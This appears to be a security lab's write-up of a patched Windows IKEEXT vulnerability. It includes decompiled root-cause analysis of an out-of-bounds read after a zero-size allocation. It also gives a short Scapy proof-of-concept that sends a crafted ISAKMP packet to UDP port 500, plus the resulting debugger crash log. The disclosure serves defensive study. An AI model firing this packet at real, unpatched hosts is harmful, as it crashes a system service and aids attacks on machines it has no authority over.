Introduction
The 3 vulnerabilities related to IKE Extension was patched on Patch Tuesday in September 2022.
One of the vulnerabilities was found during IKE related research, which was patched by Yuki Chen.
Root Cause Analysis
This vulnerability occurs when processing Fragmentation Payload inside the IkeHandlePayloadFrag function.
__int64 __fastcall IkeHandlePayloadFrag(__int64 a1, __int64 a2)
{
LPVOID TlsData; // rax
__int64 v5; // rbx
__int64 *v6; // rax
__int64 v7; // r9
__int64 v8; // rbx
__int64 v10; // [rsp+50h] [rbp+18h] BYREF
v10 = 0i64;
if...
v8 = IkeProcessFrag((struct_lpMem *)a1, &v10, (struct_SA *)a2);
if ( v8 || (v8 = IkePostPayloadProcessFrag(a2, v10, a1)) != 0 )
WfpReportError(v8, "IkeHandlePayloadFrag");
return v8;
}
C++
복사
In IkeProcessFrag function, FragEntry is created and Frag is inserted to FragEntry by IkePostPayloadProcessFrag function.
If last Frag is inserted in IkeInsertFragEntry function, IkeReinjectReassembledPacket function is called.
__int64 __fastcall IkeInsertFragEntry(__int64 a1, __int64 a2, __int64 a3, __int128 *a4, __int64 a5)
{
...
...
if ( (unsigned int)IsFullPacket((_QWORD *)a3, a5) )
IkeReinjectReassembledPacket((__int64 **)a3, a2, a4, a5);
return v7;
...
...
}
C++
복사
In this function, all Frag in FragEntry are merged to one buffer and then call IkeQueueRecvRequest function.
__int64 __fastcall IkeReinjectReassembledPacket(__int64 **a1, __int64 a2, __int128 *a3, __int64 a4)
{
...
...
while ( v22 != (__int64 *)a1 )
{
v9 = WfpUINT32Add(v8, *((_DWORD *)v22 + 6), &v35);
if ( v9 )
goto LABEL_9;
memcpy_0(&v23[v8], (const void *)v22[4], *((unsigned int *)v22 + 6));
v8 += *((_DWORD *)v22 + 6);
v22 = (__int64 *)*v22;
}
...
...
v9 = IkeQueueRecvRequest((struct_lpMem *)v27, 1);
...
...
}
C++
복사
In IkeQueueRecvRequest function, the vulnerability occurs in processing the merged buffer.
__int64 __fastcall IkeQueueRecvRequest(struct_lpMem *a1, int a2)
{
...
...
p_buffer = &v5->buffer;
...
...
v4 = WfpMemAlloc(*(unsigned int *)a1->bufferSize, 0, &v5->buffer); ----> [1]
if ( !v4 )
{
if ( v13 == htons(0x1F4u) || a2 )
{
memcpy_0(*p_buffer, a1->buffer, *(unsigned int *)a1->bufferSize); ---->[2]
}
else
{
memcpy_0(*p_buffer, &a1->buffer->initiator_spi_4, (unsigned int)(*(_DWORD *)a1->bufferSize - 4));
*(_DWORD *)v5->bufferSize -= 4;
}
v7 = *(_QWORD *)&(*p_buffer)->next_payload; -------------------------->[3]
length = (*p_buffer)->length;
*(_OWORD *)v15 = *(_OWORD *)&(*p_buffer)->initiator_spi_0;
LODWORD(v15[3]) = length;
...
...
}
...
...
}
C++
복사
In [1], it allocates memory in &v5->buffer , which the size is buffer’s size by WfpMemAlloc function.
In [2], it copies merged buffer to buffer which is allocated in [1]
In [3], it accesses data from the buffer which is made by [1] and [2]
The vulnerability occurs in [1] because there is no verification of the small size.
After we allocate memory to 0 sized at [1], the vulnerability occurs while accessing more memory than the allocated size at [3].
PoC
To trigger this vulnerability, page heap of svchost.exe(IKEEXT service) and authip must be enabled.
from scapy.all import *
from scapy.contrib.ikev2 import *
from scapy.layers.isakmp import *
import socket, time
target = ("192.168.159.134", 500)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
pkt = ISAKMP(init_cookie=RandString(8), next_payload=0x84, exch_type=0xf3)
pkt /= ISAKMP_payload(next_payload=0x1, load=b"\x00\x00\x01\x7f")
sock.sendto(raw(pkt), target)
Python
복사
Crash Log
(128.414): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ikeext!IkeQueueRecvRequest+0x158:
00007ffb`9e48d138 0f1000 movups xmm0,xmmword ptr [rax] ds:0000017a`08459000=????????????????????????????????
0:005> r
rax=0000017a08459000 rbx=0000000000000000 rcx=00000008905fef70
rdx=ffffffffffffc000 rsi=00000008905feff0 rdi=0000017a08456f10
rip=00007ffb9e48d138 rsp=00000008905fef30 rbp=00000008905fefa0
r8=0000000000000000 r9=0000000000000000 r10=0000017a08459000
r11=0000017a08459000 r12=0000000000000000 r13=0000017a0843cb80
r14=0000017a08456f20 r15=0000000000000001
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
ikeext!IkeQueueRecvRequest+0x158:
00007ffb`9e48d138 0f1000 movups xmm0,xmmword ptr [rax] ds:0000017a`08459000=????????????????????????????????
0:005> !heap -p -a @rax
address 0000017a08459000 found in
_DPH_HEAP_ROOT @ 17a08281000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
17a08285a28: 17a08459000 0 - 17a08458000 2000
ReadMemory error for address 0000017a08459000
00007ffbc8177e7f ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007ffbc811e1fa ntdll!RtlpAllocateHeap+0x000000000009c70a
00007ffbc807fcad ntdll!RtlpAllocateHeapInternal+0x000000000000098d
00007ffb9e486910 ikeext!WfpMemAlloc+0x0000000000000020
00007ffb9e48d0ce ikeext!IkeQueueRecvRequest+0x00000000000000ee
00007ffb9e4f1c0d ikeext!IkeReinjectReassembledPacket+0x0000000000000181
00007ffb9e4f17ed ikeext!IkeInsertFragEntry+0x0000000000000259
00007ffb9e4f1865 ikeext!IkePostPayloadProcessFrag+0x0000000000000031
00007ffb9e4f1564 ikeext!IkeHandlePayloadFrag+0x00000000000000ac
00007ffb9e507652 ikeext!IkeHandleMMPacketDispatchAuthip+0x000000000000005e
00007ffb9e4ead86 ikeext!IkeProcessPacket+0x00000000000002f2
00007ffb9e47fc84 ikeext!IkeProcessPacketDispatch+0x0000000000000fd4
00007ffb9e47bb9c ikeext!IkeHandleRecvRequest+0x000000000000000c
00007ffbc809e7e9 ntdll!TppSimplepExecuteCallback+0x0000000000000099
00007ffbc8086964 ntdll!TppWorkerThread+0x0000000000000644
00007ffbc7cc7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007ffbc80ca2f1 ntdll!RtlUserThreadStart+0x0000000000000021
0:005> dq @rax
0000017a`08459000 ????????`???????? ????????`????????
0000017a`08459010 ????????`???????? ????????`????????
0000017a`08459020 ????????`???????? ????????`????????
0000017a`08459030 ????????`???????? ????????`????????
0000017a`08459040 ????????`???????? ????????`????????
0000017a`08459050 ????????`???????? ????????`????????
0000017a`08459060 ????????`???????? ????????`????????
0000017a`08459070 ????????`???????? ????????`????????
0:005> k
# Child-SP RetAddr Call Site
00 00000008`905fef30 00007ffb`9e4f1c0d ikeext!IkeQueueRecvRequest+0x158
01 00000008`905fefd0 00007ffb`9e4f17ed ikeext!IkeReinjectReassembledPacket+0x181
02 00000008`905ff110 00007ffb`9e4f1865 ikeext!IkeInsertFragEntry+0x259
03 00000008`905ff180 00007ffb`9e4f1564 ikeext!IkePostPayloadProcessFrag+0x31
04 00000008`905ff1c0 00007ffb`9e507652 ikeext!IkeHandlePayloadFrag+0xac
05 00000008`905ff200 00007ffb`9e4ead86 ikeext!IkeHandleMMPacketDispatchAuthip+0x5e
06 00000008`905ff230 00007ffb`9e47fc84 ikeext!IkeProcessPacket+0x2f2
07 00000008`905ff2f0 00007ffb`9e47bb9c ikeext!IkeProcessPacketDispatch+0xfd4
08 00000008`905ff850 00007ffb`c809e7e9 ikeext!IkeHandleRecvRequest+0xc
09 00000008`905ff880 00007ffb`c8086964 ntdll!TppSimplepExecuteCallback+0x99
0a 00000008`905ff8d0 00007ffb`c7cc7974 ntdll!TppWorkerThread+0x644
0b 00000008`905ffbc0 00007ffb`c80ca2f1 KERNEL32!BaseThreadInitThunk+0x14
0c 00000008`905ffbf0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
C++
복사
78ResearchLab(https://www.78researchlab.com) performs Vulnerability Research not only Windows/Linux, but also browsers, various applications, Mobile, Embedded Devices and Web3. If you would like to collaborate or enjoy your research together, please contact us at contact@78researchlab.com.
Thank you.